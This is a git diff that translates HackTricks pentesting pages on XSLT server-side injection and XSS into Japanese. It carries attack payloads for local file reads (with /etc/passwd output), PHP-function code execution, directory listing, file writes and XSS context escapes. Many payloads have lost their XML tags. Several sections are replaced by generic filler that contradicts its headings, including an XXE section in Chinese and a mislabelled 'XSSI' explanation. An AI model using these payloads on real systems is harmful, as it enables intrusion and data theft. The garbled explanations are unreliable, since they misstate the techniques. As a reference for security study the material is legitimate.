Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used).\ -The transformation can be done in the server or in the browser). +XMLドキュメントを別の形式に変換するために使用されます。バージョン:1、2、および3(1が最も使用されています)。 +変換はサーバーまたはブラウザで行うことができます。 -The most used frameworks are: **Libxslt** (Gnome), **Xalan** (Apache) and **Saxon** (Saxonica). +最も使用されるフレームワークは、**Libxslt**(Gnome)、**Xalan**(Apache)、および**Saxon**(Saxonica)です。 -In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) - -## Example - Tutorial +この種の脆弱性を悪用するには、サーバーサイドにxslタグを保存し、そのコンテンツにアクセスできる必要があります。この種の脆弱性の例は、[https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)で見つけることができます。 +## 例 - チュートリアル ```bash sudo apt-get install default-jdk sudo apt-get install libsaxonb-java libsaxon-java ``` - {% code title="xml.xml" %} ```markup - - CD Title - The artist - Da Company - 10000 - 1760 - + +CD Title +The artist +Da Company +10000 +1760 + ``` -{% endcode %} - {% code title="xsl.xsl" %} ```markup - - -

The Super title

-
- - - - - - - - -
Titleartist
- - + + +

The Super title

+ + + + + + + + + +
Titleartist
+ + ``` {% endcode %} -Execute: - +実行する: ```markup $ saxonb-xslt -xsl:xsl.xsl xml.xml - + Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl: - Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor +Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor - -

The Super title

- - - - - - - - - -
Titleartist
CD TitleThe artist
- + +

The Super title

+ + + + + + + + + +
Titleartist
CD TitleThe artist
+ ``` - -### Fingerprint +### フィンガープリント {% code title="detection.xsl" %} ```markup - Version:
- Vendor:
- Vendor URL:
- - Product Name:
-
- - Product Version:
-
- - Is Schema Aware ?:
-
- - Supports Serialization:
+Vendor:
+Vendor URL:
+ +Product Name:
+
+ +Product Version:
+
+ +Is Schema Aware ?:
+
+ +Supports Serialization:
-
- - Supports Backwards Compatibility: + +Supports Backwards Compatibility:
-
+
``` {% endcode %} -And execute - +そして実行します。 ```markup -$saxonb-xslt -xsl:detection.xsl xml.xml +$saxonb-xslt -xsl:detection.xsl xml.xml Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl: - Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor +Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor

XSLT identification

Version:2.0
Vendor:SAXON 9.1.0.8 from Saxonica
Vendor URL:http://www.saxonica.com/
``` - -### Read Local File +### ローカルファイルの読み取り {% code title="read.xsl" %} ```markup @@ -143,12 +135,11 @@ Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl: ``` {% endcode %} - ```markup $ saxonb-xslt -xsl:read.xsl xml.xml Warning: at xsl:stylesheet on line 1 column 111 of read.xsl: - Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor +Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin @@ -158,9 +149,23 @@ games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ``` - ### SSRF +SSRF(Server-Side Request Forgery)は、攻撃者がアプリケーション内のサーバー側でリクエストを送信する脆弱性です。攻撃者は、アプリケーションが信頼する他のサーバーにリクエストを送信することができます。これにより、攻撃者は内部ネットワークへのアクセスや、外部サービスへの攻撃を行うことができます。 + +SSRFの攻撃手法には、次のようなものがあります。 + +- リクエストの送信先を制御することができるパラメータの悪用 +- リクエストの送信先を指定するためのURLの構築 +- リクエストの送信先を指定するためのヘッダーの悪用 + +SSRF攻撃を防ぐためには、以下の対策を実施する必要があります。 + +- 入力検証とフィルタリングを行い、信頼できないURLをブロックする +- 内部ネットワークへのアクセスを制限する +- セキュリティパッチを適用し、脆弱性を修正する + +SSRF攻撃は重大なセキュリティリスクであるため、開発者やシステム管理者は常に注意を払う必要があります。 ```markup @@ -168,56 +173,74 @@ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ``` +### バージョン -### Versions - -There might be more or less functions depending on the XSLT version used: +使用されているXSLTバージョンによって、関数の数は増減する場合があります: * [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/) * [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/) * [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/) -## Fingerprint - -Upload this and take information +## フィンガープリント +これをアップロードして情報を取得してください ```markup - Version:
- Vendor:
- Vendor URL:
- - Product Name:
-
- - Product Version:
-
- - Is Schema Aware ?:
-
- - Supports Serialization:
+Vendor:
+Vendor URL:
+ +Product Name:
+
+ +Product Version:
+
+ +Is Schema Aware ?:
+
+ +Supports Serialization:
-
- - Supports Backwards Compatibility: + +Supports Backwards Compatibility:
-
+
``` - ## SSRF +SSRF(Server-Side Request Forgery)は、攻撃者がアプリケーション内のサーバー側でリクエストを送信する脆弱性です。攻撃者は、内部ネットワークへのアクセスや外部サービスへの攻撃を行うために、アプリケーションが信頼するリソースにリクエストを送信することができます。 + +SSRF攻撃は、以下のような方法で実行されることがあります。 + +1. ユーザーが入力するURLを使用して、アプリケーションが外部リソースにリクエストを送信する場合、攻撃者は任意のURLを指定することができます。 +2. アプリケーションがローカルファイルにアクセスするために使用するURLを攻撃者が制御できる場合、攻撃者は機密情報を取得するためにローカルファイルにアクセスすることができます。 +3. アプリケーションが内部ネットワークのリソースにアクセスするために使用するURLを攻撃者が制御できる場合、攻撃者は内部ネットワークにアクセスすることができます。 + +SSRF攻撃を防ぐためには、以下の対策を実施することが重要です。 + +1. 入力検証とフィルタリングを行い、信頼できるリソースへのリクエストのみを許可します。 +2. ホワイトリストを使用して、許可されたURLのみをアプリケーションが使用するようにします。 +3. リクエストを送信する前に、URLを正規化し、不正なリクエストを防ぎます。 + +SSRF攻撃は、アプリケーションのセキュリティに重大な脅威となります。適切な対策を実施することで、この脆弱性を防ぐことができます。 ```markup ``` +## Javascriptのインジェクション -## Javascript Injection +Javascriptのインジェクションは、ウェブアプリケーションの脆弱性を悪用して、攻撃者が任意のJavascriptコードを実行できるようにする攻撃手法です。この攻撃は、ウェブアプリケーションがユーザーからの入力を適切に検証せずに直接実行する場合に発生します。 +攻撃者は、ウェブアプリケーションに対して悪意のあるJavascriptコードを送信することで、ユーザーのブラウザ上でそのコードを実行させることができます。これにより、攻撃者はユーザーのセッション情報を盗み出したり、不正な操作を行ったりすることができます。 + +Javascriptのインジェクションを防ぐためには、入力検証とエスケープ処理を適切に行う必要があります。入力検証は、ユーザーからの入力が予期しない形式である場合にエラーを返すことで、攻撃を防ぐ役割を果たします。エスケープ処理は、ユーザーからの入力を安全な形式に変換することで、悪意のあるコードの実行を防ぎます。 + +Javascriptのインジェクションは、ウェブアプリケーションのセキュリティに深刻な脅威をもたらす可能性があるため、開発者は常にセキュリティ対策を意識してコーディングする必要があります。 ```markup @@ -225,11 +248,9 @@ Upload this and take information ``` - -## Directory listing (PHP) +## ディレクトリリスト(PHP) ### **Opendir + readdir** - ```markup @@ -246,23 +267,67 @@ Upload this and take information - ``` - ### **Assert (var\_dump + scandir + false)** +This technique is used to perform Server-Side Injection (SSI) using the Extensible Stylesheet Language Transformations (XSLT) feature. It involves injecting malicious code into an XSLT stylesheet file to execute arbitrary commands on the server. + +#### **Attack Scenario** + +1. Identify a vulnerable application that uses XSLT for server-side processing. +2. Locate the XSLT stylesheet file used by the application. +3. Inject malicious code into the XSLT stylesheet file. +4. Craft the payload to execute the desired command on the server. +5. Trigger the XSLT transformation process to execute the payload. +6. Retrieve the output of the executed command. + +#### **Payload** + +The payload for this technique can vary depending on the specific command you want to execute. However, the general structure of the payload is as follows: + +```xml + + + + + + + +``` + +Replace `your_command_here` with the command you want to execute. For example, to list the contents of a directory using the `scandir` function in PHP, you can use the following payload: + +```xml + + + + + + + +``` + +#### **Prevention** + +To prevent XSLT Server-Side Injection, follow these best practices: + +- Validate and sanitize all user input before using it in XSLT transformations. +- Use a whitelist approach to only allow specific XSLT functions and features. +- Implement proper input/output encoding to prevent injection attacks. +- Regularly update and patch the XSLT processor to mitigate known vulnerabilities. + +By following these preventive measures, you can significantly reduce the risk of XSLT Server-Side Injection attacks. ```markup - - -
- + + +
+ ``` +## ファイルの読み取り -## Read files - -### **Internal - PHP** - +### **内部 - PHP** ```markup @@ -270,9 +335,44 @@ Upload this and take information ``` +### **内部 - XXE** -### **Internal - XXE** +XXE(外部实体注入)是一种攻击技术,利用了XML解析器的漏洞,允许攻击者读取服务器上的文件、执行远程请求和进行其他恶意操作。在内部渗透测试中,XXE可以用于获取敏感信息、发起攻击链或进一步探测目标系统。 +#### **1. 检测XXE漏洞** + +要检测目标系统是否存在XXE漏洞,可以尝试以下方法: + +- 发送带有外部实体引用的XML请求,观察是否返回了敏感信息。 +- 尝试使用已知的XXE漏洞利用工具,如XXEinjector或Burp Suite的XXE漏洞扫描器。 + +#### **2. 利用XXE漏洞** + +一旦确认目标系统存在XXE漏洞,可以尝试以下利用方法: + +- 读取敏感文件:通过在XML请求中引用外部实体,可以读取服务器上的敏感文件,如/etc/passwd。 +- 执行远程请求:利用XXE漏洞,可以发送远程请求,如SSRF(服务器端请求伪造)攻击,从而进一步探测目标系统或攻击内部资源。 +- 发起攻击链:通过利用XXE漏洞,可以在目标系统上执行恶意代码,如反序列化攻击或远程命令执行。 + +#### **3. 防御XXE漏洞** + +为了防止XXE漏洞的利用,可以采取以下防御措施: + +- 输入验证和过滤:对用户输入的XML数据进行严格验证和过滤,确保不包含外部实体引用。 +- 使用安全的XML解析器:使用安全的XML解析器,如DOM4J或JAXB,以防止XXE漏洞的利用。 +- 禁用外部实体:在XML解析器中禁用外部实体,以防止XXE漏洞的利用。 + +#### **4. 相关工具和资源** + +以下是一些有用的工具和资源,可用于检测和利用XXE漏洞: + +- XXEinjector:用于检测和利用XXE漏洞的工具。 +- Burp Suite:一款功能强大的Web应用程序渗透测试工具,包含XXE漏洞扫描器。 +- OWASP XXE Prevention Cheat Sheet:OWASP提供的防御XXE漏洞的参考指南。 + +#### **5. 总结** + +XXE是一种利用XML解析器漏洞的攻击技术,可以用于读取敏感文件、执行远程请求和发起攻击链。为了防止XXE漏洞的利用,应采取适当的防御措施,如输入验证和过滤,使用安全的XML解析器以及禁用外部实体。 ```markup ]> @@ -282,9 +382,21 @@ Upload this and take information ``` +### **HTTPを介して** -### **Through HTTP** +When performing XSLT Server-Side Injection (XSSI) attacks, one common method is to exploit the XSLT processor by sending a specially crafted XML payload through an HTTP request. This allows an attacker to inject malicious code into the server-side XSLT stylesheet and manipulate the transformation process. +XSLT is a language used for transforming XML documents into other formats, such as HTML or plain text. It allows developers to define rules and templates to transform the XML data. However, if the XSLT processor is not properly configured or secured, it can be vulnerable to injection attacks. + +To perform an XSSI attack through HTTP, the attacker needs to identify a vulnerable endpoint that accepts XML input and processes it using an XSLT stylesheet. The attacker then crafts a malicious XML payload that includes the XSLT code they want to inject. + +The payload is sent as part of an HTTP request, typically using the POST method. The XML payload is included in the request body, and the Content-Type header is set to "application/xml" or "text/xml" to indicate that the request contains XML data. + +Once the server receives the request, it processes the XML payload using the XSLT processor. If the server is vulnerable to XSSI, it will execute the injected XSLT code, allowing the attacker to perform various actions, such as reading sensitive data, executing arbitrary commands, or even gaining remote code execution. + +It is important to note that XSSI attacks through HTTP require the server to have an XSLT processor enabled and vulnerable to injection. Additionally, the attacker needs to have knowledge of the server's configuration and the ability to craft a malicious XML payload. + +To protect against XSSI attacks, it is crucial to properly configure and secure the XSLT processor. This includes validating and sanitizing user input, restricting access to sensitive resources, and implementing proper input validation and output encoding techniques. Regular security assessments and penetration testing can help identify and mitigate potential vulnerabilities. ```markup @@ -301,9 +413,15 @@ Upload this and take information &passwd; ``` +### **内部(PHP関数)** -### **Internal (PHP-function)** +The internal (PHP-function) technique allows an attacker to execute arbitrary code on the server by injecting malicious code into an XSLT stylesheet file. This technique takes advantage of the server-side processing capabilities of XSLT (Extensible Stylesheet Language Transformations) to execute code on the server. +To perform an XSLT server-side injection, the attacker needs to identify a vulnerable application that uses XSLT to transform XML data. Once a vulnerable application is identified, the attacker can craft a malicious XSLT stylesheet file that contains the code they want to execute. + +The attacker then injects the malicious XSLT stylesheet file into the vulnerable application by exploiting a vulnerability that allows file uploads or by modifying an existing stylesheet file. When the application processes the XML data and applies the XSLT transformation, it also executes the injected code. + +This technique can be used to perform various malicious actions, such as accessing sensitive data, modifying server-side files, or even gaining remote code execution on the server. It is important for developers to properly validate and sanitize user input when using XSLT to prevent this type of attack. ```markup @@ -316,15 +434,19 @@ Upload this and take information ```markup - - -
- + + +
+ ``` +### ポートスキャン -### Port scan +ポートスキャンは、ネットワーク上の特定のホストに対して、利用可能なポートを特定するために行われる手法です。ポートスキャンは、セキュリティ評価や侵入テストの一環として使用されます。ポートスキャンによって、ネットワーク上のホストがどのようなサービスを提供しているかを特定することができます。これにより、攻撃者は脆弱性を見つけて悪用する可能性があります。 +ポートスキャンは、さまざまな方法で実行することができます。最も一般的な方法は、TCPまたはUDPパケットを送信して、ホストが応答するかどうかを確認することです。ポートスキャンの結果に基づいて、攻撃者はホスト上で実行されているサービスやアプリケーションの情報を収集することができます。 + +ポートスキャンは、ネットワークセキュリティの評価や侵入テストにおいて重要な手法ですが、悪意のある攻撃にも使用されることがあります。そのため、ポートスキャンの実施は、適切な許可を得た場合にのみ行われるべきです。また、ポートスキャンの結果を適切に評価し、必要な対策を講じることも重要です。 ```markup @@ -333,11 +455,23 @@ Upload this and take information ``` - -## Write to a file +## ファイルへの書き込み ### XSLT 2.0 +XSLT 2.0では、`xsl:result-document`要素を使用してファイルに書き込むことができます。この要素は、指定したファイルに結果を出力するために使用されます。 + +以下は、XSLT 2.0を使用してファイルに書き込むための例です。 + +```xml + + Hello, World! + +``` + +上記の例では、`file:///path/to/file.txt`というパスに`Hello, World!`というテキストを書き込んでいます。 + +この方法を使用すると、XSLT 2.0を介してファイルにデータを書き込むことができます。ただし、この機能を使用する際には、セキュリティ上の注意が必要です。悪意のあるユーザーが不正なファイルパスを指定することで、システムに悪影響を与える可能性があります。そのため、信頼できる入力を使用するか、適切な入力検証とエスケープ処理を行うことが重要です。 ```markup @@ -348,9 +482,15 @@ Upload this and take information ``` +### **Xalan-Jの拡張機能** -### **Xalan-J extension** +Xalan-Jは、Javaで実装されたXSLT(Extensible Stylesheet Language Transformations)プロセッサです。XSLTは、XML文書を別の形式に変換するための言語です。Xalan-Jには、XSLTの機能を拡張するためのいくつかの拡張機能があります。 +Xalan-Jの拡張機能を使用することで、XSLTスタイルシート内でJavaのクラスやメソッドを呼び出すことができます。これにより、XSLTの処理中に任意のJavaコードを実行することができます。 + +Xalan-Jの拡張機能を悪用すると、サーバーサイドインジェクション(SSI)攻撃を実行することができます。攻撃者は、XSLTスタイルシート内に悪意のあるコードを埋め込むことで、サーバー上で任意のコマンドを実行することができます。 + +Xalan-Jの拡張機能を使用したサーバーサイドインジェクション攻撃は、セキュリティ上の脆弱性として認識されています。開発者は、Xalan-Jの拡張機能を適切に制限し、入力の検証とエスケープ処理を行うことで、この攻撃を防ぐ必要があります。 ```markup @@ -358,11 +498,9 @@ Upload this and take information ``` +他の方法でPDFファイルに書き込む -Other ways to write files in the PDF - -## Include external XSL - +## 外部XSLを含める ```markup ``` @@ -371,11 +509,9 @@ Other ways to write files in the PDF ``` - -## Execute code +## コードの実行 ### **php:function** - ```markup ``` +他のフレームワークを使用してPDFでコードを実行する -Execute code using other frameworks in the PDF +### **他の言語** -### **More Languages** +**このページでは、他の言語でのRCEの例を見つけることができます:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#、Java、PHP)** -**In this page you can find examples of RCE in other languajes:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)** - -## **Access PHP static functions from classes** - -The following function will call the static method `stringToUrl` of the class XSL: +## **クラスからPHPの静的関数にアクセスする** +次の関数は、クラスXSLの静的メソッド`stringToUrl`を呼び出します: ```markup ``` - -(Example from [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls)) - ## **Brute-Force Detection List** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %} @@ -438,10 +569,10 @@ version="1.0"> ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index 4536558c4..4956d2bf5 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,97 +1,94 @@ -# XSS (Cross Site Scripting) +# XSS(クロスサイトスクリプティング) / -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームであるIntigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報奨金を獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## Methodology +## 方法論 -1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code. -2. **Find the context** where it's reflected/used. -3. If **reflected** - 1. Check **which symbols can you use** and depending on that, prepare the payload: - 1. In **raw HTML**: - 1. Can you create new HTML tags? - 2. Can you use events or attributes supporting `javascript:` protocol? - 3. Can you bypass protections? - 4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md). - 5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection.md)? - 2. Inside a **HTML tag**: - 1. Can you exit to raw HTML context? - 2. Can you create new events/attributes to execute JS code? - 3. Does the attribute where you are trapped support JS execution? - 4. Can you bypass protections? - 3. Inside **JavaScript code**: - 1. Can you escape the ``** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol: - -* If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `` tag is inside the HTML code. -* If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed: - * `'-alert(1)-'` - * `';-alert(1)//` - * `\';alert(1)//` -* If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` `` -* **Unicode encode** works to write **valid javascript code**: +この場合、入力はHTMLページの**``**タグ、`.js`ファイルの内部、または**`javascript:`**プロトコルを使用した属性の内部に反映されます。 +* **``**タグの間に反映される場合、入力が引用符のいずれかの内部にある場合でも、``を注入してこのコンテキストから脱出することができます。これは、**ブラウザがまずHTMLタグを解析**し、その後コンテンツを解析するため、注入された``タグがHTMLコードの内部にあることに気づかないためです。 +* JSの文字列の内部に反映されている場合で、前のトリックが機能しない場合は、文字列から**脱出**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません): +* `'-alert(1)-'` +* `';-alert(1)//` +* `\';alert(1)//` +* テンプレートリテラルの内部に反映されている場合、`${ ... }`構文を使用してJS式を**埋め込む**ことができます:`` var greetings = `Hello, ${alert(1)}` `` +* **Unicodeエンコード**を使用して**有効なjavascriptコード**を書くことができます: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` +#### Javascriptのホイスティング -#### Javascript Hoisting - -Javascript Hoisting references the opportunity to **declare functions, variables or classes after they are used**. - -Therefore if you have scenarios where you can **Inject JS code after an undeclared object** is used, you could **fix the syntax** by declaring it (so your code gets executed instead of throwing an error): +Javascriptのホイスティングは、**使用された後に関数、変数、またはクラスを宣言する**機会を指します。 +したがって、**未宣言のオブジェクトの後にJSコードをインジェクト**できるシナリオがある場合、それを宣言することで(エラーをスローする代わりに)構文を**修正**できます。 ```javascript // The function vulnerableFunction is not defined -vulnerableFunction('test', ''); +vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; @@ -104,7 +101,7 @@ test'); function vulnerableFunction(a,b){ return 1 };alert(1) // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ - return 1 +return 1 }; myFunction(a, '') @@ -118,7 +115,7 @@ var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { - return 1; +return 1; } alert(1); ``` @@ -130,25 +127,23 @@ alert(1); test.cookie('leo','INJECTION') test['cookie','injection'] ``` +詳細については、Javascriptのホイスティングについては次を参照してください:[https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) -For more info about Javascript Hoisting check: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) +### Javascript関数 -### Javascript Function +いくつかのウェブページは、**実行する関数の名前をパラメータとして受け入れる**エンドポイントを持っています。実際によく見かける例は、`?callback=callbackFunc`のようなものです。 -Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`. - -A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like: +ユーザーから直接与えられたものが実行されようとしているかどうかを確認するためには、パラメータの値を変更して(例えば 'Vulnerable' に変更して)、コンソールで次のようなエラーを探します: ![](<../../.gitbook/assets/image (651) (2).png>) -In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**). +脆弱な場合、値を送信するだけで**アラートをトリガー**することができる可能性があります:**`?callback=alert(1)`**。ただし、これらのエンドポイントでは、文字、数字、ドット、アンダースコアのみを許可するようにコンテンツを**検証する**ことが非常に一般的です(**`[\w\._]`**)。 -However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**: +ただし、その制限があっても、いくつかのアクションを実行することは可能です。これは、有効な文字を使用してDOM内の任意の要素に**アクセス**できるためです: ![](<../../.gitbook/assets/image (662).png>) -Some useful functions for this: - +これに役立ついくつかの関数: ``` firstElementChild lastElementChild @@ -156,12 +151,11 @@ nextElementSibiling lastElementSibiling parentElement ``` +あなたは直接**Javascriptの関数をトリガー**することも試すことができます:`obj.sales.delOrders`。 -You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. +ただし、通常、指定された関数を実行するエンドポイントは、DOMがあまり興味深くないエンドポイントです。**同じオリジン内の他のページ**には、より興味深いDOMがあり、より多くのアクションを実行できます。 -However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions. - -Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: +したがって、**異なるDOMでこの脆弱性を悪用**するために、**Same Origin Method Execution (SOME)** の攻撃手法が開発されました: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) @@ -169,7 +163,7 @@ Therefore, in order to **abuse this vulnerability in a different DOM** the **Sam ### DOM -There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. +**JSコード**が、`location.href`のような**攻撃者によって制御されるデータ**を**安全に使用していない**場合があります。攻撃者はこれを悪用して任意のJSコードを実行することができます。 {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) @@ -177,8 +171,8 @@ There is **JS code** that is using **unsafely** some **data controlled by an att ### **Universal XSS** -These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\ -Some **examples**: +この種のXSSは**どこにでも**見つけることができます。これらは単にWebアプリケーションのクライアントの脆弱性に依存するのではなく、**どんな****コンテキスト**にも依存します。この種の**任意のJavaScript実行**は、RCEを取得したり、クライアントやサーバーで**任意の****ファイル**を**読み取る**ことさえできます。\ +いくつかの**例**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) @@ -188,43 +182,35 @@ Some **examples**: [xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) {% endcontent-ref %} -## WAF bypass encoding image +## WAFバイパスエンコーディング画像 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) -## Injecting inside raw HTML - -When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\ -For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Note: A HTML comment can be closed using\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***** ****`-->`**** ****or \*\*\*\*****`--!>`**_ - -In this case and if no black/whitelisting is used, you could use payloads like: +## 生のHTML内に注入する +入力がHTMLページ内に**反映**される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、**最初に** `<` 